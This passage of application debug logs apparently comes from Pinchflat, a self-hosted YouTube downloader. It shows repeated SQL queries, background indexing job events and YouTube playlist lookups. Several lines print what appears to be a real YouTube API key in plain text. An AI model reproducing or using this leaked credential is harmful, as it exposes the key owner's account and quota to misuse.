s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:22.963 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:22.963 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:22.963 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:22.963 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:22.963 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:35:22.963 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:22.963 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:35:22.963 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:22.963 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:22.963 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:22.963 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:23.158 [debug] QUERY OK source="media_items" db=0.7ms idle=194.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 17:35:23.160 [debug] QUERY OK source="media_items" db=0.7ms idle=195.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:35:23.161 [debug] QUERY OK source="tasks" db=0.1ms idle=197.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268492, 9, ~U[2026-10-09 22:35:23Z], ~U[2026-10-09 22:35:23Z]] 17:35:23.161 [info] {"args":{"id":9},"id":5268452,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":198859,"event":"job:stop","queue_time":995590,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.167 [info] {"args":{"id":11},"id":5268454,"meta":{},"system_time":1791585323167188610,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.167 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:35:23.167 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:23.168 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.168 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:35:23.168 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.168 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:23.256 [debug] QUERY OK source="media_items" db=0.5ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:35:23.257 [debug] QUERY OK source="media_items" db=0.2ms idle=89.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:35:23.258 [debug] QUERY OK source="tasks" db=0.1ms idle=89.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268493, 17, ~U[2026-10-09 22:35:23Z], ~U[2026-10-09 22:35:23Z]] 17:35:23.258 [info] {"args":{"id":17},"id":5268453,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":295707,"event":"job:stop","queue_time":880147,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.264 [info] {"args":{"id":26},"id":5268455,"meta":{},"system_time":1791585323264148905,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.264 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:35:23.264 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.265 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:23.265 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.265 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:35:23.265 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.265 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:23.379 [debug] QUERY OK source="media_items" db=0.9ms idle=113.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 17:35:23.381 [debug] QUERY OK source="media_items" db=1.4ms idle=115.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 17:35:23.382 [debug] QUERY OK source="tasks" db=0.1ms idle=116.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268494, 11, ~U[2026-10-09 22:35:23Z], ~U[2026-10-09 22:35:23Z]] 17:35:23.382 [info] {"args":{"id":11},"id":5268454,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":214875,"event":"job:stop","queue_time":882666,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.388 [info] {"args":{"id":30},"id":5268456,"meta":{},"system_time":1791585323388234022,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:23.388 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:35:23.388 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.388 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:23.389 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.389 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 17:35:23.389 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:23.389 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:23.524 [debug] QUERY OK source="media_items" db=0.8ms idle=135.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 17:35:23.526 [debug] QUERY OK source="media_items" db=0.6ms idle=136.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:35:23.526 [debug] QUERY OK source="tasks" db=0.1ms idle=137.5ms INSERT INTO "tasks" 